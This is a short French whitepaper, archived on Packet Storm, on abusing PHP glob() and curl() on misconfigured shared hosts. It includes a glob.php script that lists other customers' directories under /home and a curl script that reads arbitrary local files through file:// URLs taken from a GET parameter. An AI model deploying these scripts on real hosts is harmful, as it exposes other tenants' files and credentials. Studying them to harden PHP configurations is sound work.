exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Whitepaper Discussing Glob() And Curl()

Whitepaper Discussing Glob() And Curl()
Posted Sep 11, 2009
Authored by Thibow | Site informatique-inside.com

Whitepaper discussing vulnerabilities surrounding Glob() and Curl(). Written in French.

tags | paper, vulnerability
SHA-256 | 5baae62c129bdf7bd18d5a681202174e2821fb14c3c8215e932757f95ec13011

Whitepaper Discussing Glob() And Curl()

Change Mirror Download
    ..::::::::::::::::::::::::::::::::::::::::::::::::::::::::::..
..:: ::..
..:: Faille Glob() & Curl() ::..
..:: Auteur: Thibow ::..
..:: Niveau: Résumé facile ::..
..:: Website: https://www.informatique-inside.com ::..
..:: Mail: webmaster [at] informatique-inside [dot] com ::..
..:: ::..
..:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::..



Ces failles ont étaient utilisées a l"inssu des plus grands hébergeurs en 2006...

=============================\
1. Glob() |
..1.1. Qu'est ce donc? |
..1.2. Vulnérabilté |
|
2. Curl() |
..2.1. Qu'est ce donc ? |
..2.2. Vulnérabiltés |
=============================/


1. Glob()
1.1. Qu'est donc ?

Glob() est une fonction php, qui affiche les dossier ou fichier en fonction d'un certain masque.
Les règles de recherche sont les mêmes que dans les shell du système d'exploitation du serveur.

Voici un exemple php pour lister tout les fichier .php du dossier /coucou/:

<?php
$files = glob("coucou/*.php");
foreach ($files as $filename) {
echo "$filename \n";
}
?>

Il existe de nombreux paramètres possible, mais ce c'est pas le but de les expliquer ici.

############################


1.2 Vulnérabilités

La faille réside dans une mauvaise gestion des droits de lecture lors de la configuration de php.
Sans rentrer dans les détails, cela provient d'une mauvaise configuration de open_basedir et de safe_mod dans php.
Nous allons donc créer un script, qui tout d'abord affiche si open_basedir et safe_mod sont activés ou non.
Ensuite utiliser glob au sens propre du terme.

Exemple: glob.php

<?php
$dossier=$_GET['dossier']; /*recupération du contenu de .php?dossier= */
print "open_basedir: ".(bool)ini_get('open_basedir')."\n"; /*Verification open_basedir */
print "safe_mode: ".ini_get('safe_mode')."\n\n"; /* Verification safe_mod */
print_r(glob("{glob.php,/$dossier}",GLOB_BRACE)); /*affichage du dossier demand?*/
?>

Pour prendre un exemple concret, vous êtes sur un hébergeur, vous avez envoyé ce fichier.
Vous voulez savoir quel sont les autres hébergés que vous.
Souvent sur les serveurs unix, ils se trouvent dans /home/ .
Tapez donc:

https://website.com/votrecompte/glob.php?dossier=/home/ *

/home/* pour "tout" comme sur un shell dire de lister tout les fichiers (*) dans le dossier home (/home/).

Pour plus d'aide et d'information glob(); visiter https://www.nexen.net/docs/php/annotee/function.glob.php
Je vous encourage d'ailleur a lire la documentation php de nexen très complète.

C'est l'en semble des sites situés sur l'hébergeur cible, on peut donc
voir tout ce qui est contenu dans ces sites, sans pouvoir lire le
contenu des fichier.



############################


2. Curl()
2.1 Qu'est ce donc ?

Curl est un outils de transfert de fichier par syntaxe url. Il envoit
des données par de nombreux protocols tel que HTTP, HTTPS, FTP, FTPS,
TFTP, GOPHER, DICT, TELNET, LDAP ou FILE.


############################


2.2 Vulnérabilités

Dans notre cas nous allons nous interesser uniquement à l'utilisation de
curl avec PHP, vu les énormes possibilités offertes, je vais vous
expliquer certains exemples.
La session curl doit etre initité, "configurée" puis executé avant d'etre fermée.
Un trés simple exemple permettant d'obtenir le contenu d'une page web.

<?php
$ch = curl_init();
curl_setopt ($ch, CURLOPT_URL, "https://www.informatique-inside.com/page.html");
curl_setopt ($ch, CURLOPT_HEADER, 0);
curl_exec ($ch);
curl_close ($ch);
?>

Tout en sachant qu'ont pourrais faire avec FILE:

curl_setopt ($ch, CURLOPT_URL, "file:///home/informatique-inside.com/page.html");

Ou bien avec un autre protocol supporté si le fichier existe.

Un exemple afin d'utilise POST sur un site distant:

<?php
$ch = curl_init(); //Initialisation
curl_setopt($ch, CURLOPT_URL,"https://lesite/recup.php");
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS,"postvar1=value1&postvar2=value2&postvar3=value3"); //Paramètres
curl_exec ($ch); //execution
curl_close ($ch); //fermeture
?>

C'est en effet une mauvaise restriction des dossiers avec FILE.
Voila le code:

<?php
$ch = curl_init($_GET['page']);
$file=curl_exec($ch);
echo $file
?>

De nombreux hébergeur ont été vitcimes d'attaques de type Glob() &
Curl() en 2006. Comme vous l'avez compris, la faille Glob() permettant
la lecture d'un chemin d'accès complet, et Curl() permettant la lecture
des fichiers, de nombreux accés a des sites ont étaient dérobés...



..::::::::::::::::::::::::::::::::::::::::::::::::::::::::::..
..:: ::..
..:: Faille Glob() & Curl() ::..
..:: Auteur: Thibow ::..
..:: Niveau: Résumé facile ::..
..:: Website: https://www.informatique-inside.com ::..
..:: Mail: webmaster [at] informatique-inside [dot] com ::..
..:: ::..
..::::::::::::::::::::::::::::::::::::::::::::::::::::::::::..



Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    44 Files
  • 6
    Nov 6th
    18 Files
  • 7
    Nov 7th
    9 Files
  • 8
    Nov 8th
    8 Files
  • 9
    Nov 9th
    3 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    14 Files
  • 12
    Nov 12th
    20 Files
  • 13
    Nov 13th
    63 Files
  • 14
    Nov 14th
    18 Files
  • 15
    Nov 15th
    8 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    18 Files
  • 19
    Nov 19th
    7 Files
  • 20
    Nov 20th
    13 Files
  • 21
    Nov 21st
    6 Files
  • 22
    Nov 22nd
    48 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    60 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    0 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close